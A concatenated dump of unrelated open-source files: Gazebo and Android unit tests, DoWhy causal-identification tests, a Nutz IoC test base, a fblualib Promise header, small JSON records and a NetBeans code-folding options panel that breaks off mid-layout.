mainWindow->close();
delete mainWindow;
mainWindow = nullptr;
}
/////////////////////////////////////////////////
void ModelManipulator_TEST::Transparency()
{
this->resMaxPercentChange = 5.0;
this->shareMaxPercentChange = 2.0;
this->Load("worlds/shapes.world", false, false, false);
// Create the main window.
gazebo::gui::MainWindow *mainWindow = new gazebo::gui::MainWindow();
QVERIFY(mainWindow != nullptr);
mainWindow->Load();
mainWindow->Init();
mainWindow->show();
// Process some events, and draw the screen
for (unsigned int i = 0; i < 10; ++i)
{
gazebo::common::Time::MSleep(30);
QCoreApplication::processEvents();
mainWindow->repaint();
}
gazebo::rendering::ScenePtr scene;
scene = gazebo::rendering::get_scene("default");
QVERIFY(scene != nullptr);
gazebo::event::Events::preRender();
int sleep = 0;
int maxSleep = 200;
while (!scene->Initialized() && sleep < maxSleep)
{
gazebo::event::Events::preRender();
gazebo::common::Time::MSleep(30);
sleep++;
}
gazebo::rendering::VisualPtr vis1 = scene->GetVisual("box");
QVERIFY(vis1 != nullptr);
double vis1Transp = 0.2;
vis1->SetTransparency(vis1Transp);
QVERIFY(ignition::math::equal(
static_cast<double>(vis1->GetTransparency()), vis1Transp, 1e-5));
gazebo::gui::ModelManipulator::Instance()->Init();
// Time to translate vis1.
gazebo::common::MouseEvent mouseEvent;
mouseEvent.SetType(gazebo::common::MouseEvent::PRESS);
mouseEvent.SetButton(gazebo::common::MouseEvent::LEFT);
mouseEvent.SetDragging(true);
mouseEvent.SetPressPos(0, 0);
mouseEvent.SetPos(0, 0);
// To set mouseStart.
gazebo::gui::ModelManipulator::Instance()->OnMousePressEvent(mouseEvent);
// Set mode.
gazebo::gui::ModelManipulator::Instance()->SetManipulationMode("translate");
// mouse moved.
mouseEvent.SetPressPos(10, 10);
mouseEvent.SetPos(10, 10);
// On mouse move event.
gazebo::gui::ModelManipulator::Instance()->SetAttachedVisual(vis1);
gazebo::gui::ModelManipulator::Instance()->OnMouseMoveEvent(mouseEvent);
// Verify Transparency while the visual is being moved.
QVERIFY(ignition::math::equal(
static_cast<double>(vis1->GetTransparency()),
(1.0 - vis1Transp) * 0.5, 1e-5));
mouseEvent.SetType(gazebo::common::MouseEvent::RELEASE);
mouseEvent.SetButton(gazebo::common::MouseEvent::NO_BUTTON);
// Mouse release, translation done.
gazebo::gui::ModelManipulator::Instance()->OnMouseReleaseEvent(mouseEvent);
// Test transparency.
QVERIFY(ignition::math::equal(
static_cast<double>(vis1->GetTransparency()), vis1Transp, 1e-5));
mainWindow->close();
delete mainWindow;
mainWindow = nullptr;
}
// Generate a main function for the test
QTEST_MAIN(ModelManipulator_TEST)
| 1,940 |
755 | {
"author": "Microsoft Community",
"name": "Multi-Instance Advanced",
"description": "Vérifie la façon dont plusieurs instances de l’application sont lancées.",
"identity": "wts.Feat.MultiInstanceAdvanced.VB"
}
| 85 |
353 | <gh_stars>100-1000
package org.nutz.mock;
import java.lang.reflect.Field;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.nutz.ioc.Ioc;
import org.nutz.ioc.IocLoader;
import org.nutz.ioc.impl.NutIoc;
import org.nutz.ioc.loader.annotation.Inject;
import org.nutz.ioc.loader.combo.ComboIocLoader;
import org.nutz.log.Log;
import org.nutz.log.Logs;
import org.nutz.mvc.annotation.IocBy;
/**
* @author wendal
*
*/
public abstract class NutIocTestBase extends Assert {
private static final Log log = Logs.get();
// 下面的方法必须覆盖一个
/**
* 返回MainModule类,必须带IocBy注解. 一般用于Mvc环境下
*/
protected Class<?> getMainModule() throws Exception {
throw new IllegalArgumentException("Must override one of getMainModule/getIocArgs/getIocLoader");
}
/**
* 直接返回Ioc参数,例如 return new String[]{"*js", "ioc/", "*anno", "net.wendal.nutzbook", "*tx", "*async"};
*/
protected String[] getIocArgs() throws Exception {
return getMainModule().getAnnotation(IocBy.class).args();
}
/**
* 返回一个IocLoader, 一般用于测试自定义IocLoader,比较少用到.
*/
protected IocLoader getIocLoader() throws Exception {
return new ComboIocLoader(getIocArgs());
}
// 下面的方法按需覆盖
/**
* Ioc初始化后执行的逻辑
*/
protected void _before() throws Exception {}
/**
* Ioc销毁前执行的逻辑
*/
protected void _after() throws Exception {}
//-----------------------------------------------------------------------
protected Ioc ioc;
@Before
public void before() throws Exception {
ioc = new NutIoc(getIocLoader());
injectSelfFields();
_before();
}
@After
public void after() throws Exception {
_after();
if (ioc != null) {
ioc.depose();
}
}
protected void injectSelfFields() throws Exception {
for (Field field : getClass().getDeclaredFields()) {
Inject inject = field.getAnnotation(Inject.class);
if (inject != null) {
log.debug("inject field name="+field.getName());
field.setAccessible(true);
Object obj = ioc.get(field.getType(), field.getName());
field.set(this, obj);
}
}
}
}
| 1,158 |
568 | <reponame>jgtaylor123/novoda_spikes
package com.novoda.pianohero;
import java.util.Iterator;
import java.util.List;
public class Notes implements Iterable<Note> {
private final List<Note> notes;
public Notes(List<Note> notes) {
this.notes = notes;
}
public List<Note> asList() {
return notes;
}
public int length() {
return notes.size();
}
@Override
public Iterator<Note> iterator() {
return notes.iterator();
}
public Note get(int position) {
return notes.get(position);
}
public boolean hasNoteAt(int position) {
return position < notes.size();
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
return notes.equals(((Notes) o).notes);
}
@Override
public int hashCode() {
return notes.hashCode();
}
@Override
public String toString() {
return "Notes{" + notes + '}';
}
}
| 467 |
348 | {"nom":"Mesvres","circ":"3ème circonscription","dpt":"Saône-et-Loire","inscrits":631,"abs":320,"votants":311,"blancs":43,"nuls":28,"exp":240,"res":[{"nuance":"REM","nom":"M. <NAME>","voix":128},{"nuance":"LR","nom":"M. <NAME>","voix":112}]} | 100 |
1,240 | package com.eventyay.organizer.core.event.list;
import androidx.arch.core.executor.testing.InstantTaskExecutorRule;
import androidx.lifecycle.Observer;
import com.eventyay.organizer.core.presenter.TestUtil;
import com.eventyay.organizer.data.Preferences;
import com.eventyay.organizer.data.event.Event;
import com.eventyay.organizer.data.event.EventRepository;
import com.eventyay.organizer.utils.DateUtils;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
import org.mockito.InOrder;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.junit.MockitoJUnit;
import org.mockito.junit.MockitoRule;
import org.threeten.bp.LocalDateTime;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import io.reactivex.Observable;
import io.reactivex.plugins.RxJavaPlugins;
import io.reactivex.schedulers.Schedulers;
import static org.mockito.Mockito.when;
@RunWith(JUnit4.class)
public class EventsViewModelTest {
@Rule
public MockitoRule mockitoRule = MockitoJUnit.rule();
@Rule
public InstantTaskExecutorRule instantExecutorRule = new InstantTaskExecutorRule();
@Mock
private EventRepository eventRepository;
@Mock
private Preferences sharedPreferenceModel;
@Mock
Observer<List<Event>> events;
@Mock
Observer<String> error;
@Mock
Observer<Boolean> progress;
@Mock
Observer<Boolean> success;
private EventsViewModel eventsViewModel;
private static final String DATE = DateUtils.formatDateToIso(LocalDateTime.now());
private static final List<Event> EVENT_LIST = Arrays.asList(
Event.builder().id(12L).startsAt(DATE).endsAt(DATE).state("draft").build(),
Event.builder().id(13L).startsAt(DATE).endsAt(DATE).state("draft").build(),
Event.builder().id(14L).startsAt(DATE).endsAt(DATE).state("published").build()
);
@Before
public void setUp() {
RxJavaPlugins.setComputationSchedulerHandler(scheduler -> Schedulers.trampoline());
eventsViewModel = new EventsViewModel(eventRepository, sharedPreferenceModel);
}
@After
public void tearDown() {
RxJavaPlugins.reset();
}
@Test
public void shouldLoadEventsSuccessfully() {
when(eventRepository.getEvents(false))
.thenReturn(Observable.fromIterable(EVENT_LIST));
InOrder inOrder = Mockito.inOrder(events, eventRepository, progress, success);
eventsViewModel.getProgress().observeForever(progress);
eventsViewModel.getSuccess().observeForever(success);
eventsViewModel.getError().observeForever(error);
events.onChanged(new ArrayList<Event>());
eventsViewModel.loadUserEvents(false);
inOrder.verify(events).onChanged(new ArrayList<>());
inOrder.verify(eventRepository).getEvents(false);
inOrder.verify(progress).onChanged(true);
inOrder.verify(success).onChanged(true);
inOrder.verify(progress).onChanged(false);
}
@Test
public void shouldRefreshEventsSuccessfully() {
when(eventRepository.getEvents(true))
.thenReturn(Observable.fromIterable(EVENT_LIST));
InOrder inOrder = Mockito.inOrder(events, eventRepository, progress, success, progress);
eventsViewModel.getProgress().observeForever(progress);
eventsViewModel.getSuccess().observeForever(success);
eventsViewModel.getError().observeForever(error);
events.onChanged(new ArrayList<Event>());
eventsViewModel.loadUserEvents(true);
inOrder.verify(eventRepository).getEvents(true);
inOrder.verify(progress).onChanged(true);
inOrder.verify(success).onChanged(true);
inOrder.verify(progress).onChanged(false);
}
@Test
public void shouldShowEventError() {
String errorString = "Test Error";
when(eventRepository.getEvents(false))
.thenReturn(TestUtil.ERROR_OBSERVABLE);
InOrder inOrder = Mockito.inOrder(eventRepository, progress, error);
eventsViewModel.getProgress().observeForever(progress);
eventsViewModel.getError().observeForever(error);
events.onChanged(new ArrayList<Event>());
eventsViewModel.loadUserEvents(false);
inOrder.verify(eventRepository).getEvents(false);
inOrder.verify(progress).onChanged(true);
inOrder.verify(error).onChanged(errorString);
inOrder.verify(progress).onChanged(false);
}
}
| 1,746 |
2,904 | <reponame>Black-Swan-ICL/dowhy<filename>tests/causal_identifiers/test_backdoor_identifier.py
import pytest
from dowhy.causal_graph import CausalGraph
from dowhy.causal_identifier import CausalIdentifier
from .base import IdentificationTestGraphSolution, example_graph_solution
class TestBackdoorIdentification(object):
def test_identify_backdoor_no_biased_sets(self, example_graph_solution: IdentificationTestGraphSolution):
graph = example_graph_solution.graph
biased_sets = example_graph_solution.biased_sets
identifier = CausalIdentifier(graph, "nonparametric-ate", method_name="exhaustive-search")
backdoor_results = identifier.identify_backdoor("X", "Y", include_unobserved=False)
backdoor_sets = [
set(backdoor_result_dict["backdoor_set"])
for backdoor_result_dict in backdoor_results
if len(backdoor_result_dict["backdoor_set"]) > 0
]
assert (
(len(backdoor_sets) == 0 and len(biased_sets) == 0) # No biased sets exist and that's expected.
or
all([
set(biased_backdoor_set) not in backdoor_sets
for biased_backdoor_set in biased_sets
]) # No sets that would induce biased results are present in the solution.
)
def test_identify_backdoor_unobserved_not_in_backdoor_set(self, example_graph_solution: IdentificationTestGraphSolution):
graph = example_graph_solution.graph
observed_variables = example_graph_solution.observed_variables
identifier = CausalIdentifier(graph, "nonparametric-ate", method_name="exhaustive-search")
backdoor_results = identifier.identify_backdoor("X", "Y", include_unobserved=False)
backdoor_sets = [
set(backdoor_result_dict["backdoor_set"])
for backdoor_result_dict in backdoor_results
if len(backdoor_result_dict["backdoor_set"]) > 0
]
assert all([variable in observed_variables for backdoor_set in backdoor_sets for variable in backdoor_set]) # All variables used in the backdoor sets must be observed.
def test_identify_backdoor_minimal_adjustment(self, example_graph_solution: IdentificationTestGraphSolution):
graph = example_graph_solution.graph
expected_sets = example_graph_solution.minimal_adjustment_sets
identifier = CausalIdentifier(graph, "nonparametric-ate", method_name="minimal-adjustment", proceed_when_unidentifiable=False)
backdoor_results = identifier.identify_backdoor("X", "Y", include_unobserved=False)
backdoor_sets = [
set(backdoor_result_dict["backdoor_set"])
for backdoor_result_dict in backdoor_results
]
assert (
((len(backdoor_sets) == 0) and (len(expected_sets) == 0)) # No adjustments exist and that's expected.
or
all([
set(expected_set) in backdoor_sets
for expected_set in expected_sets
])
)
def test_identify_backdoor_maximal_adjustment(self, example_graph_solution: IdentificationTestGraphSolution):
graph = example_graph_solution.graph
expected_sets = example_graph_solution.maximal_adjustment_sets
identifier = CausalIdentifier(graph, "nonparametric-ate", method_name="maximal-adjustment", proceed_when_unidentifiable=False)
backdoor_results = identifier.identify_backdoor("X", "Y", include_unobserved=False)
backdoor_sets = [
set(backdoor_result_dict["backdoor_set"])
for backdoor_result_dict in backdoor_results
]
assert (
((len(backdoor_sets) == 0) and (len(expected_sets) == 0)) # No adjustments exist and that's expected.
or
all([
set(expected_set) in backdoor_sets
for expected_set in expected_sets
])
)
| 1,622 |
482 | <gh_stars>100-1000
/*
* Copyright (c) 2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#ifndef FBLUALIB_FUTURE_H_
#define FBLUALIB_FUTURE_H_
#include <lua.hpp>
#include <fblualib/LuaUtils.h>
#include <fblualib/Reactor.h>
#include <folly/String.h>
namespace fblualib {
/**
* C++ interface to the producer (Promise) side of fb.util.future.
*
* This allows C++ code to create promises and fulfill them later.
*
* This integrates with fb.util.reactor. If you get the reactor's executor
* (by calling its get_executor() method) and schedule promise fulfillment
* in that executor, then Lua code can wait for the corresponding futures
* to complete using the reactor's await() method.
*
* DO NOT CAPTURE THE lua_State* IN THE FUNCTIONS THAT YOU SCHEDULE IN THE
* REACTOR'S EXECUTOR. Use loopingState().L instead. See <fblualib/Reactor.h>
* for more details.
*/
class Promise {
public:
Promise() : key_(0) { }
/**
* Create a promise, leave the associated future on the stack, and
* return a key that you may use to refer to the promise in setPromiseValue /
* setPromiseError later.
*
* Note that the promise is anchored (and won't be garbage collected) until
* you call setPromiseValue / setPromiseError. If numAnchored > 0, then
* numAnchored elements are popped from the stack and anchored as well.
* Anchoring is most useful for userdata objects where you have a (C)
* pointer to the object, but they might be GCed by the time of completion.
*
* The promise is associated with a lua_State until fulfilled. You may only
* call Promise methods when running in the context of that lua_State!
* Promise methods take a lua_State* as the first argument, and will crash
* if that doesn't match the lua_State that the Promise is associated with.
*/
static Promise create(lua_State* L, int numAnchored = 0);
~Promise();
Promise(Promise&& other) noexcept;
Promise& operator=(Promise&& other); /* noexcept override */
Promise(const Promise&) = delete;
Promise& operator=(const Promise&) = delete;
/**
* Fulfill the promise by setting the value to the top n elements of
* the stack (multiple return values); the n elements are popped.
*/
void setValue(lua_State* L, int n = 1);
/**
* Fulfill the promise by setting the error to the top element of the stack.
* (which is popped).
*/
void setError(lua_State* L);
/**
* Fulfill the promise by setting the error to a string.
*/
void setErrorFrom(lua_State* L, folly::StringPiece sp) {
luaPush(L, sp);
setError(L);
}
/**
* Fulfill the promise by setting the error to an appropriate message
* for the given C++ exception.
*/
void setErrorFrom(lua_State* L, const std::exception& exc) {
setErrorFrom(L, folly::exceptionStr(exc));
}
private:
explicit Promise(uint64_t key);
void validate(lua_State* L);
void callPromiseMethod(lua_State* L, const char* method, int n);
uint64_t key_;
};
/**
* Initialization. Call before using, for each lua_State that you intend
* to use this in.
*/
void initFuture(lua_State* L);
} // namespaces
#endif /* FBLUALIB_FUTURE_H_ */
| 1,084 |
8,805 | <filename>ios/Pods/Headers/Public/UMCore/UMLogHandler.h<gh_stars>1000+
../../../../../node_modules/@unimodules/core/ios/UMCore/Protocols/UMLogHandler.h | 62 |
435 | <filename>pycon-de-2013/videos/interaktive-datenanalyse-und-visualisierung-mit-p.json
{
"alias": "video/2399/interaktive-datenanalyse-und-visualisierung-mit-p",
"category": "PyCon DE 2013",
"copyright_text": "",
"description": "",
"duration": 60,
"id": 2399,
"language": "deu",
"quality_notes": "",
"recorded": "2013-10-16",
"slug": "interaktive-datenanalyse-und-visualisierung-mit-p",
"speakers": [
"Dr. <NAME>"
],
"summary": "Python hat sich als ernste Alternative f\u00fcr die effiziente und\nhochperformante Analyse auch von gro\u00dfen Datenmengen etabliert. Der\nVortrag stellt die wesentlichen Python-basierten Tools f\u00fcr die\ninteraktive Datenanalyse und Visualisierung vor und veranschaulicht\ndiese an Hand von praxisnahen Beispielen.\n\nDer Vortag nutzt IPython Notebooks um die Interaktivit\u00e4t in Echzeit zu\nveranschaulichen.\n",
"tags": [
"data analytics",
"visualisierung"
],
"thumbnail_url": "https://i1.ytimg.com/vi/sdNE4yb_9QU/hqdefault.jpg",
"title": "Interaktive Datenanalyse und Visualisierung mit Python, pandas & Co.",
"videos": [
{
"length": 0,
"type": "youtube",
"url": "https://www.youtube.com/watch?v=sdNE4yb_9QU"
}
]
}
| 526 |
683 | @ParametersAreNonnullByDefault
package io.opentelemetry.instrumentation.api;
import javax.annotation.ParametersAreNonnullByDefault;
| 40 |
1,056 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.editor.fold.ui;
import java.awt.CardLayout;
import java.awt.Component;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.prefs.PreferenceChangeEvent;
import java.util.prefs.PreferenceChangeListener;
import java.util.prefs.Preferences;
import javax.swing.DefaultComboBoxModel;
import javax.swing.DefaultListCellRenderer;
import javax.swing.JComponent;
import javax.swing.JList;
import org.netbeans.api.editor.fold.FoldUtilities;
import org.netbeans.api.editor.mimelookup.MimePath;
import org.netbeans.api.editor.settings.SimpleValueNames;
import org.netbeans.api.lexer.Language;
import org.netbeans.api.options.OptionsDisplayer;
import org.netbeans.modules.editor.settings.storage.api.EditorSettings;
import org.openide.util.NbBundle;
import org.openide.util.WeakListeners;
import static org.netbeans.modules.editor.fold.ui.Bundle.*;
import org.netbeans.spi.options.OptionsPanelController;
/**
* UI for the folding enable + language switch.
* The panel contains a placeholder for language-specific contents. When language is selected, it replaces the
* interior with a language-specific panel.
*
* @author sdedic
*/
@OptionsPanelController.Keywords(keywords = {"#KW_Options"}, location = OptionsDisplayer.EDITOR, tabTitle="#CTL_OptionsDisplayName")
final class FoldOptionsPanel extends javax.swing.JPanel implements ActionListener, PreferenceChangeListener {
/**
* All mime types presented in the selector
*/
private List<String[]> languageMimeTypes;
/**
* Our controller
*/
private FoldOptionsController ctrl;
private Preferences parentPrefs;
/**
* Creates new form FoldOptionsPanel
*/
public FoldOptionsPanel(FoldOptionsController ctrl) {
this.ctrl = ctrl;
initComponents();
langSelect.setRenderer(new DefaultListCellRenderer() {
@Override
public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
if (value instanceof String[]) {
value = ((String[])value)[1];
}
return super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); //To change body of generated methods, choose Tools | Templates.
}
});
langSelect.addActionListener(this);
contentPreview.addActionListener(this);
foldedSummary.addActionListener(this);
// preferences should be set as a reaction to index selection
}
/**
* The preferences object for the currently selected language
*/
private Preferences currentPreferences;
/**
* Panels created for individual Mime types
*/
private Map<String, JComponent> panels = new HashMap<String, JComponent>();
private PreferenceChangeListener wPrefL = WeakListeners.create(PreferenceChangeListener.class, this, null);
private void languageSelected() {
String[] sel = (String[])langSelect.getSelectedItem();
if (sel == null) {
return;
}
String mime = sel[0];
if (currentPreferences != null) {
currentPreferences.removePreferenceChangeListener(wPrefL);
}
currentPreferences = ctrl.prefs(mime);
JComponent panel = panels.get(mime);
String parentMime = MimePath.parse(mime).getInheritedType();
if (parentMime != null) {
parentPrefs = ctrl.prefs(parentMime);
} else {
parentPrefs = null;
}
if (panel == null) {
panel = new DefaultFoldingOptions(mime, currentPreferences);
if (panel instanceof CustomizerWithDefaults) {
((CustomizerWithDefaults)panel).setDefaultPreferences(parentPrefs);
}
panels.put(mime, panel);
content.add(panel, mime);
}
((CardLayout)content.getLayout()).show(content, mime);
currentPreferences.addPreferenceChangeListener(wPrefL);
useDefaults.setVisible(!"".equals(mime)); // NOI18N
preferenceChange(null);
}
private void previewChanged() {
currentPreferences.putBoolean(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW, contentPreview.isSelected());
}
private void summaryChanged() {
currentPreferences.putBoolean(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY, foldedSummary.isSelected());
}
@Override
public void actionPerformed(ActionEvent e) {
Object o = e.getSource();
if (ignoreEnableTrigger) {
return;
}
if (o == langSelect) {
languageSelected();
} else if (o == contentPreview) {
previewChanged();
} else if (o == foldedSummary) {
summaryChanged();
}
}
@Override
public void preferenceChange(PreferenceChangeEvent evt) {
String k = evt == null ? null : evt.getKey();
ignoreEnableTrigger = true;
try {
if (k == null || k.equals(FoldUtilitiesImpl.PREF_OVERRIDE_DEFAULTS)) {
useDefaults.setSelected(currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_OVERRIDE_DEFAULTS, true));
}
if (k == null || k.equals(SimpleValueNames.CODE_FOLDING_ENABLE)) {
boolean enabled = currentPreferences.getBoolean(SimpleValueNames.CODE_FOLDING_ENABLE, true);
enableFolds.setSelected(enabled);
contentPreview.setEnabled(enabled);
foldedSummary.setEnabled(enabled);
useDefaults.setEnabled(enabled);
}
if (k == null || FoldUtilitiesImpl.PREF_CONTENT_PREVIEW.equals(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW)) {
contentPreview.setSelected(currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW, true));
}
if (k == null || FoldUtilitiesImpl.PREF_CONTENT_SUMMARY.equals(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY)) {
foldedSummary.setSelected(currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY, true));
}
// must not replicate defaults over current settings if unspecified key arrives.
if (k != null && FoldUtilitiesImpl.PREF_OVERRIDE_DEFAULTS.equals(k)) {
boolean b = parentPrefs == null || !currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_OVERRIDE_DEFAULTS, true);
if (parentPrefs != null) {
if (b) {
currentPreferences.putBoolean(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW,
parentPrefs.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW, true));
currentPreferences.putBoolean(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY,
parentPrefs.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY, true));
} else {
currentPreferences.remove(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW);
currentPreferences.remove(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY);
}
}
contentPreview.setEnabled(b);
foldedSummary.setEnabled(b);
contentPreview.setSelected(currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_PREVIEW, true));
foldedSummary.setSelected(currentPreferences.getBoolean(FoldUtilitiesImpl.PREF_CONTENT_SUMMARY, true));
}
} finally {
ignoreEnableTrigger = false;
}
}
boolean isChanged() {
boolean isChanged= false;
for(String mime : panels.keySet()) {
JComponent panel = panels.get(mime);
if(panel instanceof DefaultFoldingOptions) {
isChanged |= ((DefaultFoldingOptions)panel).isChanged();
}
}
return isChanged;
}
void update() {
initialize();
}
@NbBundle.Messages({
"ITEM_AllLanguages=All Languages"
})
private void initialize() {
Collection<String> mimeTypes = ctrl.getUpdatedLanguages();
List<String[]> langMimes = new ArrayList<String[]>(mimeTypes.size());
langMimes.add(new String[] { "", ITEM_AllLanguages() }); // NOI18N
for (String s : mimeTypes) {
Language l = Language.find(s);
if (l == null) {
continue;
}
// filter out languages, whose author didn't name it - probably
// unimportant && should not be displayed.
String name = EditorSettings.getDefault().getLanguageName(s);
if (name.equals(s)) {
continue;
}
// last, discard everything that does not have any FoldTypes:
if (FoldUtilities.getFoldTypes(s).values().isEmpty()) {
continue;
}
langMimes.add(new String[] {
s, EditorSettings.getDefault().getLanguageName(s)
});
}
Collections.sort(langMimes, LANG_COMPARATOR);
languageMimeTypes = langMimes;
int idx = langSelect.getSelectedIndex();
langSelect.setModel(new DefaultComboBoxModel(languageMimeTypes.toArray(new Object[languageMimeTypes.size()])));
langSelect.setSelectedIndex(idx >= 0 && idx < langSelect.getItemCount() ? idx : 0);
}
void clear() {
panels.clear();
}
/**
* Special comparator, which sorts "" mime type first, other Mimetypes are then sorted based on the language names,
* alphabetically. It is expected that the 1st member of the String[]is a Mimetype string, the 2nd member is a
* human-readable language name.
*/
private static final Comparator<String[]> LANG_COMPARATOR = new Comparator<String[]>() {
@Override
public int compare(String[] o1, String[] o2) {
if (o1 == null) {
return -1;
} else if (o2 == null) {
return 1;
}
if (o1[0].equals(o2[0])) {
return 0;
}
// sort 'all languages' first
if (o1[0].length() == 0) {
return -1;
} else if (o2[0].length() == 0) {
return 1;
}
return o1[1].compareToIgnoreCase(o2[1]);
}
};
private boolean ignoreEnableTrigger;
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
langSelect = new javax.swing.JComboBox();
langLabel = new javax.swing.JLabel();
content = new javax.swing.JPanel();
enableFolds = new javax.swing.JCheckBox();
jPanel1 = new javax.swing.JPanel();
contentPreview = new javax.swing.JCheckBox();
foldedSummary = new javax.swing.JCheckBox();
useDefaults = new javax.swing.JCheckBox();
org.openide.awt.Mnemonics.setLocalizedText(langLabel, org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "FoldOptionsPanel.langLabel.text")); // NOI18N
content.setLayout(new java.awt.CardLayout());
org.openide.awt.Mnemonics.setLocalizedText(enableFolds, org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "FoldOptionsPanel.enableFolds.text")); // NOI18N
enableFolds.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
enableFoldsActionPerformed(evt);
}
});
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "Title_FoldDisplayOptions"))); // NOI18N
org.openide.awt.Mnemonics.setLocalizedText(contentPreview, org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "FoldOptionsPanel.contentPreview.text")); // NOI18N
org.openide.awt.Mnemonics.setLocalizedText(foldedSummary, org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "FoldOptionsPanel.foldedSummary.text")); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(contentPreview)
.addComponent(foldedSummary))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(contentPreview)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(foldedSummary)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
org.openide.awt.Mnemonics.setLocalizedText(useDefaults, org.openide.util.NbBundle.getMessage(FoldOptionsPanel.class, "FoldOptionsPanel.useDefaults.text")); // NOI18N
useDefaults.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
useDefaultsActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(content, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(useDefaults)
.addGroup(layout.createSequentialGroup()
.addComponent(langLabel)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(langSelect, javax.swing.GroupLayout.PREFERRED_SIZE, 186, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(enableFolds)))
.addGap(0, 0, Short.MAX_VALUE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(langSelect, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(langLabel)
.addComponent(enableFolds))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(useDefaults)
.addGap(12, 12, 12)
.addComponent(content, javax.swing.GroupLayout.DEFAULT_SIZE, 25, Short.MAX_VALUE)
.addGap(18, 18, 18)
